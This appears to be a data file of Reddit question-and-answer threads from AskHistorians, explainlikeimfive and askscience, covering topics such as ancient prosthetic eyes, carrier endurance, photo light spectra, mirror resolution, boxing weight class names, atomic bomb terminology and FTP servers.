{"q_id": "1ku5lw", "title": "What would happen to someone in the ancient world who lost an eye? Eye patch? A rudimentary form of a prosthetic? Other?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ku5lw/what_would_happen_to_someone_in_the_ancient_world/", "answers": {"a_id": ["cbssw8j"], "score": [4], "text": ["It seems man has been able to fashion prosthetics for thousands of year. The ancient Egyptians were creative with prosthetics, with some nice examples in the link below.\n\n[A glass eye with a white eyeball and a black pupil, but lacking an iris, was probably inserted into the empty eye socket of a mummy rather than used by a living person](\n_URL_0_)\n\n\n\"The world's earliest prosthetic eye was worn by an ancient Persian priestess. The female soothsayer stood 6' (1.82m) tall, and the mesmerizing effects of the golden eyeball would have convinced those who saw it that she could see into the future... The priestess lived 5,000 years ago in what is now Iran\"\n\n\"The eyeball was made of a lightweight material thought to be derived from bitumen paste and later determined to consist of a mixture of natural tar and animal fat. Lines had been engraved radiating from the iris and gold that had been applied in a thin layer over the surface. A tiny hole had been drilled on each side of the half-sphere, which had a diameter of just over 1\" (2.5cm), so that it could be held in place with thread. Microscopic examination confirmed that the artificial eye had been worn during life: the socket had an imprint from prolonged contact and marks from the thread.\"\n[source](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reshafim.org.il/ad/egypt/timelines/topics/medicine.htm", "http://quigleyscabinet.blogspot.com/2012/02/earliest-artificial-eye.html?m=1"]]}
{"q_id": "akp6ft", "title": "how long can an aircraft carrier carry on operating without docking and resupplying?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/akp6ft/eli5_how_long_can_an_aircraft_carrier_carry_on/", "answers": {"a_id": ["ef6n987", "ef6neak", "ef6o6xa", "ef6q80y", "ef6s5r5"], "score": [11, 145, 5, 9, 3], "text": ["Modern carriers have desal and run nuclear reactors so the limits of their useful deployment time comes down to food storage and jet fuel.\n\nThe depletion rate of jet fuel varies of course, but they typically have only a few weeks worth of food on board.  With thousands of crew you can't realistically produce any useful amount of food on board.\n\nThey're not intended to operate alone for long periods, aircraft carriers travel in fleets with numerous supply and defense ships to support the primary carrier.", " >  water desalination system\n\nYes. \n\n >  generate own food\n\nNo. \n\n >  renewable energy source\n\nAmerican aircraft carriers are nuclear powered and typically run ~25 years before they are due their mid-service life refit and refuel.  Everyone else's carriers are conventionally fueled and need to be replenished by tankers. But even the USN's nuclear carriers would quickly run out of food and need to be replenished at sea. \n\nSo in the WWZ scenario, we're safe at sea. We no longer have to worry about enemies, so we could probably toss our aircraft overboard (maybe leave some helicopters for making trips to shore), that frees up our massive hanger deck and a good chunk of flight deck for hydroponics; with nuclear powered desalination and some smart water rationing we're ok for fresh water. Food will probably still be an issue, but we can go raid land with our helos. An American nuclear aircraft carrier would probably be a reasonably safe place to be... for the next 20 years or so until our reactor runs out of fuel. ", "No one has mentioned fishing.  Without commercial fishing the fish population would recover and provide an ample source of food.  There are 18th Henry reports of people fishing the Atlantic fishing grounds with buckets so plentiful were the fish.", "It depends on the aircraft carrier. If nuclear powered then it is only limited by food. \n\nThe UK's new QE class (and US Zumwalt class) chose gas turbine and diesel over nuclear because they knew food would be the limiting resource so it cut down on maintenance and cost to switch and just get refuelled upon resupply.", "I suppose if the engines aren't running and you turn off a lot of the electrical systems you could stretch the nuclear fuel. I don't know if you can shut down and restart the reactor at sea. As others have mentioned food would be a problem. Perhaps they could go to shore to get soil and plants and build a farm on deck. I wonder if the government has such a contingency plan."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "aaa8s8", "title": "What part of the light spectrum is correctly stored on a photo?", "selftext": "Is the reflected IR and UV light from a photo the same as it would be observed in the real scenario, like visible light? Is there a significant difference in results between digital and analogue photo's?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aaa8s8/what_part_of_the_light_spectrum_is_correctly/", "answers": {"a_id": ["ecqodcd", "ecqrxf0", "ecqsupl", "ecqxaf6"], "score": [22, 25, 2, 2], "text": ["It is determined by the sensitivity band of your device, a visible light camera takes photos in the visible (potentially with overlap into slightly higher or lower frequencies) IR cameras take IR photos etc. In theory a camera can be made to cover any size of waveband, although the Rayleigh criterion will become important if you go very low frequency EM, and very high frequency EM radiation  is dangerous and difficult to collect.", "A typical digital camera has a CMOS sensor which is sensitive to light in the range of 350 to 1050nm wavelength. Since the IR spectrum starts around 700nm (and above) and the UV spectrum starts around 400nm (and below), we can conclude that these cameras are indeed capture light outside of our visible range. We typically want cameras to capture light as similarly to our eyes as possible, however, so that extra range is blocked by IR and UV filters attached as a film directly on the sensor. \n\nIt's possible to remove these filters, thus allowing the IR or UV light to be captured. For example, in [IR Photography](_URL_0_), the filter that blocks IR light is removed, and a new filter is added: one that blocks *all other wavelengths*. This provides an interesting look at the world, as some objects behave differently with IR light. Foliage, for example, reflects infrared in the same way that snow reflects visible light. With IR photography, you can observe plants \"glowing\". IR also penetrates objects deeper than light with shorter wavelengths, meaning it's possible to see through some fabrics.\n\nThat doesn't answer the question of how a photo stores these images, however. A digital photo is made up of pixels, and each pixel is designed to store data on red, green, and blue light. Where does IR and UV fit into there? It doesn't.\n\n[Compare these two photos](_URL_2_)\n\nThe first one is awfully reddish-purple. The camera is seeing a lot of light that it's interpreting as \"red\", but not a lot of other colours. The second one is white-balance corrected. It's what happens when you tell the camera, \"When you come across a lot of red and not a lot of other colours, that's white\".\n\nThere's a lot more to this than simply white balance. Colours are not evenly distributed. Our eyes are much better at seeing green, for example, so we often allocate more combinations of light to be represented by the colour green. This is called [Colour-space](_URL_1_).\n\nFor what you're asking, the takeaway is that \n\n1) Cameras CAN see colours that we can't, so we try to limit what they can see, and \n2) All the processing a camera does is designed with our visible spectrum in mind, so colours outside of the range are interpreted as whatever is closest.\n", "Also, forgot to add, yes, digital and analogue are different, digital has (in theory) an exact defined wave and, and accepts photons uniformly in that band. \nAnalogue (silvered plates etc) is inherently less clear cut, with a power pattern over its frequency band, and less defined bandwidth edges ", "To answer your question about \"*What part of the light spectrum is correctly stored on a photo*\" the answer is **none**. Film converts the reflected light off an object into a chemical reaction onto the film and then another chemical reaction to produce the photograph and digital converts the reflected light into an array of RGB pixels and displays an image. It is the sensitivity of chemicals or pixels to a given light wavelength that produces the image. You cannot take a color film image and remove the visible light and obtain an IR photo. I'll explain...\n\nWithout going to much into the special films that are sensitive to different wavelengths of light I am just going to touch on every day films in analog and digital cameras.\n\nAnalog Camera with Film- Analog cameras with standard film present the photographer with the truest results. Light enters the camera after being reflected from an object, through the lens, and onto the film. The sensitivity of the film (ISO), amount of light that the lens entering the camera (Aperture), and duration (shutter speed) determine the exposure onto the film. The film is a polycarbonate chemical matrix that is sensitive to light and when developed with an acid/base solution and fixed onto the polycarbonate you are left with a negative. Depending on the development chemicals and duration a photographer can lighten/darken or change the hue of the colors. This is also true when a photographer take a negative and develops a photograph. There is some loss of light transmitted from the object to the film due to absorption from the glass elements of the lens and reflection of the film itself. \n\nDigital Camera (standard)- the camera and lens works the same as an analog camera except for some key differences. The sensor takes the place of the film. Unlike film where the film uses a chemical process the sensor uses a pixel array sensitive to all light. These pixels (in the form of red green blue) capture the photons of light and produce an electrical signal that the camera records and displays as an image. The camera will process the data, normalize, and compress the data much like a photographer will in the lab when developing the film or prints. Depending on the settings (including ISO, Aperture, Shutter) the camera (or computer) can edit the image as many times and safe the settings. Light is lost just like the analog camera but also increased due to additional filters on the sensor. Many digital cameras have the ability to record images from the IR and UV spectrum but are either overshadowed by the visible light spectrum or the camera has a few filters on or just before the sensor to increase quality of protection of the sensor itself. Many camera actually have a UV or IR blocking filter along with an antialiasing filter (a type of filter that restricts cross bleed of light). \n\nI have taken many photos in both film and digital using IR and UV setups. Humans do not have the ability to see completely in IR or UV and it is up to the photographer to determine what the image is to portray. All we can do is rely on the chemicals, sensors, and imagination. \n\nWith film, IR photography only produces a B & W image. Hotter areas and metallic items will transmit or reflect IR light better and appear to be whiter and brighter in the photograph. UV film and paper uses different chemical process and produces colors for different wavelengths of UV light. Both setups will have to use unique filters to block the unwanted light from entering the camera and getting to the film. \n\nDigital cameras will also need unique filters to block the visible light and removal of on sensors filters that block IR light. Cameras sensors will collect the remaining light and  will show colored images with a red shift. It is not until the image is processed through a B & W filter that the image will show the same as film. \n\nIf you google IR photography you can see the differences between the image captured with IR and what you would normally see. There are different IR filter that limit the different wavelengths of light and thus will produce different images."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Infrared_photography", "https://en.wikipedia.org/wiki/Color_space", "https://i.imgur.com/6LxYbYS.jpg"], [], []]}
{"q_id": "4yt54g", "title": "Do mirrors have a resolution?", "selftext": "Whats the quality of a mirror I guess I mean, and if the answer is different depending on the mirror, then what would a car mirror's reflection quality be?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4yt54g/do_mirrors_have_a_resolution/", "answers": {"a_id": ["d6qf4oo", "d6qn62d", "d6qvlu4"], "score": [12, 2, 9], "text": ["As far as I'm aware, the resolution of optical systems is related to the wavelength of light, so the smallest features that can be \"displayed\" or reflected are a few hundred nanometers across.\n\nIt's not unlikely that imperfections in the mirror will reduce this though. In any case, you can't actually *see* any imperfections in a good mirror.", "For sure. There is always some surface roughness which will cause some diffusion and reflection of light which will affect the maximum detail of an image on the mirror.\n\nJust look to mirror lenses and mirror telescopes for an example of a system that are resolution limited with mirrors. Mirror lenses are an inexpensive way to make small and long focal length lenses. This comes at a cost to maximum aperture, and they are generally not nearly as sharp as an equivalent refractive optics lens. [Here is a quick comparison.](_URL_0_)", "\nI'll start with the short answer then get into more detail.  Since you asked for the quality and resolution I'll try to explain both.  I'll then start ranting because there are some very interesting things relating to this. \n\nThe short answer is that if your mirror is diffraction limited resolution will be limited by the rayleigh criterion (and thus wavelength and size of mirror), if not it will be limited by the larger point spread function coming from a distorted wavefront.  Google Rayleigh criterion and optical aberrations/Wavefront error if you want.  A car mirror probably doesn't have a very good resolution as the size of the mirror causes it to have a really small f/#\n\n----Rambling explanations-----\n\nFor resolution a decent rule would be that it depends on the wavelength of the light and the aperture (diameter/size) of the mirror.  In your case the mirror will likely have significant scattering from imperfections and the air and the best way to determine resolution in this case would be from an experiment such as using a USAF resolution test (locate the closest resolvable bars and calculate resolution.)  Calculating the resolution would be very difficult without knowing the curvature of the surface, quality, ect.\n\nYou also asked for quality, in optical lenses and mirrors quality is can be generalized by peak to valley (distance from highest point to lowest point, not the best), RMS (sort of like an average of distances between peaks and valleys in the lens), or MTF(calculates resolution of the system)  you can look at some lenses or mirrors from a vendor like edmund optics to see how they describe the quality of their mirrors.\n\nFor mirrors and optical systems in general, the best resolution is generally related to  the rayleigh criterion.  \n\nD~= 1.22*(wavelength/n)*focal length/Entrance pupil diameter.  \n\nWhat this means is that light from a point that is focused has a distribution of light pertaining to some point over some distance (we'll say its a gaussian)  Now when there are two of these gaussians from two different points on whatever you are imaging are far apart, we can clearly see that they are separate, it becomes tricky when they start overlapping two bumps next to each other can still be resolvable or non resolvable.  The rayleigh criterion descripts how overlapped they can get.\n\nWhat the relationship means is that generally resolution becomes limited by how big your EPD is aka how big is your mirror.  There are other things that effect resolution such as the quality of the wavefront coming in and leaving the system.\n\nThe other important part is also the size of the point spread functions, two PSF might be very large and thus unresolvable very far away.  Now we are in the realm of aberrations and wavefront error.\n\nLight can be modeled as a plane wave, a perfect plane wave has a flat wavefront while travelling \"at infinity\" such as the light coming from a car behind you to your mirror, and follows a perfect circular shape as it is being focused to the image.  If this wavefront is perfect, it will be limited by the rayleigh criterion, if the spot size is bigger than something called the airy disk, then the resolution will be effected by this messed up wavefront.\n\nThe wavefront is usually messed up by imperfections in the mirror, or trying to move it through an optical system.  One example is that bending a ray a lot causes one type of aberration called spherical.  The wavefront also usually does not come in perfect.\n\nExtreme cases of this are easy to see while driving on a hot humid day.  You may look ahead of you and see a mirage, the shimmering is occuring from the wavefront being messed up from turbulance in the humid air. \n\nBoth correcting wavefront error and the diffraction limit are very things people have to think about as they build better telescopes on land.  A better resolution requires a bigger primary mirror which is why some of the new telescopes being built have 80ft + primary mirrors.  Google large magellan telescope.  It also requires a good point spread function which requires adaptive optics to counteract the turbulence of the atmosphere.  A short summary of how it works is they irradiate the sodium layer in the atmostphere to make a fake star, calculate the wavefront shape from that and correct it with a deformable mirror 1000s of time a second.\n\nAlso well balanced optical systems must be designed to eliminate aberrations such as spherical from the optical system.\n\nThat was long and disorganized but maybe someone will find it interesting haha.\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.savazzi.net/photography/mirror_lens_test.htm"], []]}
{"q_id": "9l0941", "title": "why are followers of a religion more devoted in a place where they are in minority as compared to places where they are in majority?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9l0941/eli5_why_are_followers_of_a_religion_more_devoted/", "answers": {"a_id": ["e732dcp", "e734z1i", "e736p6l", "e7379jm", "e73dwr8"], "score": [10, 3, 7, 2, 2], "text": ["Places where a religious group is in the minority tends to be because that group is persecuted (not always).  In cases such as that, the followers of that religion in that area are the most devout, as a casual observer would be afraid of persecution.", "Is your statement true? I would argue Christians in Sweden are far less devoted overall than Christians in the united states even though they are heavily outnumbered in Sweden. ", "I'd argue it's not true, in all populations you have the devoted individuals and the not so devoted individuals. When you're in the country like those in the middle east, it's literally criminal to claim you're anything other than religious. The large chunk of people who say \"I don't really care\", formally claim they are religious because they don't want to be put to death, but they are not going out of their way to be super devoted.\n\nWhen those same people move to a country where they is only moderate pressure to be religious (like the US), the non-devoted either become non-religious or just don't really mention it. It's only really the minority, the devoted people that are obviously religious. So when you look at the obviously religious minorities, you really do not see all the people that feel like they are part of that religion (you're comparing the people that go to the a Mosque in the south with regular death threats from the locals to the people that claim to be Christian to their mother and haven't gone to church in 20 years).", "If you are in the minority, there is more pressure (can be both real or imagined) to conform yourself to the standard of the majority. As a result, people generally cling more to the things they know and become more fervent in following them. This can be either religion, culture, ...\n\nI think that is also why you can see people of the same country/culture/religion come together in the same neighbourhood when they live in a foreign culture. The shared identity gives them a shared bond that they probably wouldn't even consider important in the place where they were the majority.", "To prevent cultural assimilation, plus survivorship bias.\n\nMost followers of minority religions do so because they belong to a minority culture.  They experience pressure to assimilate, sometimes just convenience and fitting in, sometimes all out persecution.  Many eventually do assimilate and stop being a religious minority.  The only one who remain are those who developed extra devotion to their culture and religion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5nyg70", "title": "when you see stories like, \"12 year old invents cheap alternative to a significant medical/military/household product\", what actually happened? were they receiving some uncredited assistance or are they actually just child geniuses working alone after school?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5nyg70/eli5_when_you_see_stories_like_12_year_old/", "answers": {"a_id": ["dcf7i1r", "dcf7oh2"], "score": [12, 4], "text": ["It's almost always FAKE NEWS.\n\nThe rest of the time it's a reporter without much expertise in the fiend that's unrealistically impressed by a good science fair project. \n\nIf you look at genuine science fair awards, [like these Intel ones](_URL_0_ ), you'll see the same kind of small, incremental breakthroughs that you see from regular scientists and engineers.  These kids are older, 16-18 usually, and they got really deep into a narrow problem.  They're probably really geniuses.", "I do believe that there are actually child geniuses that come up with cool ideas. But also that there are a tonne of kids who are helped (significantly) by their parents.\n\nThe thing with coming up with alternatives is that you're working on existing ideas. Also, the thing of being a kid is that your time is valued as free.\n\nSo let's say ACME wants to produce a water filter. They set up a team to design this water filter. They have to make a a list of requirements, specifications etc. Well, after a while they have this. So they can set to work, designing a new filter and subsequently testing, redesigning, testing some more, tweaking the design to be suitable for (mass) production and done, they have a filter.\n\nThis filter already costs money because it had to be researched, concepts had to be tested and the best concept was further developed into the final product. The final product is not yet ready to be sold since it has to be tested first to see if it is safe for consumers, even more money is being spend here. So when the product finally hits the shelves it has to recoup all those R & D costs, production costs, overhead and a profit margin, because ACME is a company after all.\n\nNow along comes a bright kid with noble intentions. They set out to work in their spare time. They do some research and find an idea that they like and want to often improve upon. So they do some work, some testing, use household stuff, because that is what most 12 year old kids have to their disposal, and find a way to achieve the same result. They show this result to the world and present the cost, which consist only of the material costs. The kid doesn't include all the hours spent on it, because it was a hobby. Doesn't have overhead, since their parents pay for housing, food, internet, etc. Doesn't have a profit margin because they want to better the world and doesn't have product testing costs because it is a hobby project.\n\nDon't get me wrong, these kids are very bright. But a lot of costs from their final project are hidden and a lot of research is done already."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.societyforscience.org/content/press-room/intel-isef-2016-grand-award-winners"], []]}
{"q_id": "4984ra", "title": "What are the origins of the weight class names in boxing?", "selftext": "Some of them seem pretty much in line with what you'd expect; lightweight, medium weight, heavy weight.  \n  \nBut what about Bantamweight, Flyweight, Featherweight, Welterweight, etc.?  \nIs there some significance to these names?  According to [Wikipedia](_URL_0_), these names have been in use and officially recognised for a long time.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4984ra/what_are_the_origins_of_the_weight_class_names_in/", "answers": {"a_id": ["d0qfucw", "d0qgrbn", "d0qpsng"], "score": [25, 63, 3], "text": ["With regards to bantamweight, bantam comes from bantam chickens, which are miniature varieties of chickens. Bantam chickens are 1/5 to 1/4 of the breed's standard size, but should exhibit the same characteristics. With regards to boxing/wrestling, bantamweight is heavier than a flyweight, but lighter than a featherweight. Ronda Rousey currently fights as a bantamweight. ", "3 years as an avid reader of this sub and finally something I can contribute to, unfortunately this tidbit may violate the rules for being too recent, And if a mod needs to remove my comment I apologize! Cruiser-weight (my old weight class) is one of the newest boxing divisions and has a maximum weight of 200 pounds under current WBO rules. It was introduced as a class between light heavy and heavyweight. Heavyweight has historically not had a weight maximum while light heavy has generally been set at around 180 (178 under current rules). Up until the late 70's cruiserweight was used merely as a catch weight because most heavyweight champions such as Joe Louis or Rocky Marciano were under 200 pounds, but as boxers got bigger the need for a new weight class became evident.  In 1980 the WBC held the first cruiserweight title match and the inaugural professional cruiser belt holder was Marvin Camel. The name cruiserweight comes from before the official belt was created and actually originates from naval terms. Cruisers are the second largest ships in a Western WWI era fleet behind Battleships. (so not including aircraft carriers). So because Cruiser Weights are the second largest weight class the name of the second largest ship was applied to the division. This information and many other interesting bits of boxing history can be found in Boxing a Cultural History by Kasia Boddy.  ", "Anyone know about Welterweight?"]}, "title_urls": [], "selftext_urls": ["https://en.m.wikipedia.org/wiki/Weight_class_\\(boxing\\)"], "answers_urls": [[], [], []]}
{"q_id": "3bdpcg", "title": "what is going on with australia and their crazy rules and how are they passing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bdpcg/eli5_what_is_going_on_with_australia_and_their/", "answers": {"a_id": ["csl7oj7", "csl8nif", "csl924b", "csl9n0v", "cslbxit", "cslcjt7", "cslcnqy"], "score": [4, 13, 2, 9, 4, 6, 3], "text": ["We have fascism now. It's all the rage. We were doing so well until 20 years ago, it's been a steep slope into shit ever since Howard was elected. ", "It's anti-illegal-immigrants and anti-terrorism legislation. The fear mongers are in control. \n\nI hope that some day we can progress past this stage. ", "its such bullshit.  would be better to repatriate these muslim fanatics, jail them and then gather intelligence about their networks and recruiters and exactly what they were up to.  fear mongering seems to work for abbott and his clowns", "Citizenship is stripped if you're involved in terrorist activities overseas. While you're over there if you get caught out you don't get to come back to Australia essentially.\n\nAnd people (immigrants) have been sent to detention centers for years and unfortunately abuse happens there. It's not good and it needs to be fixed.", "Citizenship is a human right, citizenship in a particular country is not. If citizenship is revoked, the revoking country has an obligation to find citizenship for the individual. If the individual has dual citizenship, this is easy.\n\nDetention centers internationally have a record of abuse, as the country detaining has very little responsibility over detainees, and abuse in a detention center is (arguably) better than death. If you genuinely believe that your country doesn't abuse people in detention centers, then your country probably doesn't have detention centers and simply refuses entry to those that would qualify for detention, most probably causing the death of said individuals on foreign soil, thus not your problem. ", "If someone holds duel citizenship and they've been convicted of a terrorist offence, they can have their citizenship revoked. Which seems like a pretty light punishment for what is essentially treason.\n\nAs for the detention centres, immigrants who arrive illegally in Australia by boat have been transported to Naru to be processed there, where if found to be legitimate refugees can be assimilated in Naru or another country other than Australia. Australia has stopped receiving immigrants by boat because of the huge illegal human trafficking industry that has taken advantage of vulnerable people such as refugees. Also many boats were sinking and people dying. Australia has now taken in more refugees than ever, but has done it the right way and not by accepting leaky boats run by people smugglers that show up on the Australian coast.\n\nI'm tired of hearing that Australia has become fascist. It's just total BS. There has been major dispute over the conditions of the detention centre in Naru though and whether there's been a breach of human rights there. I do think something needs to be done about that\n\nIn my opinion, stopping the boats was the most pragmatic and compassionate solution. Too many people were dying at sea and many people were being majorly taken advantage of by people smugglers. 4corners have done some eye opening investigative journalism into this.\n", "A few years ago I checked all the data about Australia's refugee intake. WHO etc etc. Basically the only county that could point a finger at Australia was Canada. At a time of high unemployment current affairs shows were telling us what a shame it was for Australia yet no one ever really compared the figures. And the people who claimed it was a shame were at no risk of losing a job to an immigrant. Australians are told they're racist by other countries trying to feel superior. The irony of the generalization seems lost on everyone too. Just saying that is bigoted.  There was a time when the reactions to illegal immigration were legitimate, and now it is just a political football to be kicked around. Why talk about Australia's crazy rules? The exact same thing is going on in the States and the UK. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "5spy6p", "title": "how come during the 1950's, they were called 'atomic' bombs, but were then called 'nuclear' at the start of the cold war?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5spy6p/eli5_how_come_during_the_1950s_they_were_called/", "answers": {"a_id": ["ddgyc5o", "ddgyhsz", "ddh1zy7", "ddh59hf", "ddhg8yc"], "score": [17, 5, 42, 3, 7], "text": ["An atomic bomb works by splitting large atomic nuclei (fission) such as uranium or more usually plutonium, this releases quite a lot of energy.\n\nHydrogen (Nuclear) bombs use an atomic bomb to ignite a nuclear fusion bomb - this is fusing hydrogen istopes together to form helium. This releases a lot more energy, especially as the neutrons released by the fusion part of the bomb makes the fission part more efficient.", "Atomic bombs refer specifically to fission bombs - which derive 100% of their explosive power from a fission reaction.  Nuclear weapons refers to the whole category of weapons, including thermonuclear, neutron, and future hypothetical weapons.", "They're all colloquial.\n\n\"Atomic bomb\" has historically referred to gun-type and implosion-type fission weapons first developed by the allies in the mid 1940s.\n\nIn 1952, the United States introduced a new weapon which added a fusion reaction to the fission reaction in order to greatly improve energy output. These new weapons were of a fission-fusion-fission design and are properly called thermonuclear weapons. Colloquially these are called hydrogen bombs or H-bombs. Virtually all weapons deployed by the five major nuclear powers are thermonuclear weapons.\n\n\"Nuclear bomb\" is an umbrella term used to refer to all weapons that rely on fission reactions, fusion reactions, or some combination thereof in order to release energy. It recognises to some extent the fact that the public was greatly aware of the existence of these weapons but their details were shrouded in secrecy. Whereas a great deal of information about nuclear weapons can be found on the internet today, this was not the case during the cold war. It's also a politically convenient term because it is understood by everyone and has serious connotations. Politicians used (and often continue to use) it with wild abandon to spread FUD; Joe blow doesn't care what the CEP of a Russian MIRV is nor does he care about the yield of a W88. However, Joe very much cares that one does not land on his head and to do that he needs to be a good patriotic American rather than a commie bastard!", "/u/restricteddata can give you a better answer, but here\u2019s my best shot:\n\nMembers of the general public had heard of atoms but were not familiar with the terminology beyond that.\n\nTherefore, the bomb was explained in terms that they might understand: unleashing the power of the atom.\n\nIt is more accurate to speak of splitting the atomic *nucleus*, and a few years into the Atomic Age it started to make sense to use the more accurate terminology.", "The historical answer is that the term \"atomic bomb\" went back earlier than the weapons themselves. H.G. Wells talked about \"atomic bombs\" in his 1917 book, _The World Set Free_, and popularized the idea that you'd be getting weapons out of \"atomic energy.\" He didn't come up with the idea of \"atomic energy\"\u00a0\u2014 he got everything he knew on that topic from Frederick Soddy's 1909 _The Interpretation of Radium_. Soddy's book predated Rutherford discovering the \"nucleus\" at the center of the atom, and thus used \"atomic\" exclusively. \n\nAnyway, when it came time to announce what kind of weapon the United States had dropped on Japan, the scientists said, \"you should call them nuclear bombs.\" The Army said, \"nobody is going to know what that word means, let's call them atomic bombs, everyone kind of knows what that is.\" \n\nThe terminology stuck until the 1950s. The term \"nuclear\" started being used primarily in association with the phrase \"nuclear reactor\" (as opposed to the very antiquated \"atomic pile\"), and then was moved over into the weapons domain. By that time \"atomic bomb\" had been associated primarily with fission weapons but fusion weapons were also available, and \"nuclear\" was for whatever reason seen as a better way of bridging the two terms."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "14u4en", "title": "Could a plant grow from candle light?", "selftext": "Provided the plant has everything else it needs to live except light, could it survive off enough lit candles?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14u4en/could_a_plant_grow_from_candle_light/", "answers": {"a_id": ["c7ghjpv"], "score": [7], "text": ["From my understanding Chlorophyll the primary chemical used to generate energy for a plant has essentially two peaks where light absorbtion is highest, in approximately blue/purple and red range of the visible spectrum. Anything can produce light based on the temperature. That is why the edge of a fire is red and the center is sometimes blue for a really hot fire. Most of a fire and a candles light is produced in closer to red and infrared. So my understanding is that it would be able to absorb the red light Given enough candles it could produce enough energy. My one uncertainty is if the blue/purple range is unnecessary for some reactions or simply another range that can be utilized. More than likely to have a plant grow effectively you would need to have enough candles to have a room light in the ballpark of the sun you see outside"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3gax1g", "title": "ftp servers", "selftext": "Hello, ive asked about git before, but while coding some basic html and making it a local host, ive requested to make a ftp server. What is FTP? What is it used for? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gax1g/eli5ftp_servers/", "answers": {"a_id": ["ctwh4pc"], "score": [2], "text": ["FTP is an internet protocol, among many, that governs the transfer of data. It stands for File Transfer Protocol, and as you might guess, it handles the transfer of files over the internet. Considering you've worked with HTML, you have probably heard of HTTP. HTTP is responsible for the transmission of HTML code in the same sense that FTP is responsible for the transmission of files.\n\nA server is a machine dedicated to providing services to other machines, called clients. An FTP server is a server whose responsibility is to serve files to clients. FTP servers operate on the FTP protocol and use it to exchange files between server and client. \n\nYou can upload files to an FTP server, as well as download files from an FTP server. In the context you're working in, FTP servers are commonly used in web development to give webdevs access to  website files. This way, you (and several others) can edit your website by retrieving, in your case, your site's HTML files off the FTP server. After modifying said files, you can upload them back into the FTP server. Webhosts point to a directory with FTP access, so they will fetch the newly edited and uploaded file, meaning your website now points to the edited file you've just uploaded. This is the most common application of an FTP server in what I'm guessing is your case, since you've mentioned HTML.\n\nGoing beyond ELI5 here, FTP itself is just an upper level data transmission protocol that runs ontop of the Transmission Control Protocol. It is used specifically as it is capable of maintaining a file index, and supports user querying for specific files. I also believe it supports data integrity checks (such as CRC) and things of that sort. \n\nYou say you've done some HTML coding so I am assuming you aren't totally technology blind and you can wrap your head around the above explanation. But for others, here is the true ELI5:\n\nYou can think of FTP servers as mailboxes that only send mail upon request. I can drop off a package ABC in the mailbox and then someone else can come and pick it up later. They can open the package, throw in a few extra things, and then put it back in the mailbox. These mailboxes aren't public, you need a username and password to get in. They are essentially storage facilities... FTP is what facilitates the retrieval and storing of packages in the mailbox."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3aqy97", "title": "Nitrogen a 'greenhouse gas'?", "selftext": "does anyone have an absorption spectra for diatomic nitrogen gas? I'm struggling to find one... If it does absorb ( &  since it has a higher specific heat capacity than CO2) surely burning stuff is not as bad as the dailymail would have me think.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3aqy97/nitrogen_a_greenhouse_gas/", "answers": {"a_id": ["csf57jx", "csfponn"], "score": [16, 4], "text": ["As a symmetric diatomic molecule, N2 cannot absorb light in the infrared spectrum the way molecules like carbon monoxide, water, or methane can.  Dinitrogen does not begin to significantly absorb light until the wavelength is about 96 nm when you enter the vacuum UV region (known as UV-c).  Light with this wavelength never makes it anywhere near the surface, so we don't need to worry about N2 trapping energy anywhere near sea level.\n\nIf you want an exhaustive reference on the absorption and emission spectra of N2, you can look at this [review article](_URL_0_). The first absorption data I found was on page 99 (211 in the document).  There's an awful lot of emission data in there, but that's not what you're looking for.", "Another small comment: First of all, never read the daily mail.\n\nOther than that, nitrogen compounds like nitrous oxides (NxOx) are often referred to in the media as 'nitrogen'. These compounds are pollutants in some respects, from causing acid rain to contributing to the greenhouse effect."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nist.gov/data/PDFfiles/jpcrd93.pdf"], []]}
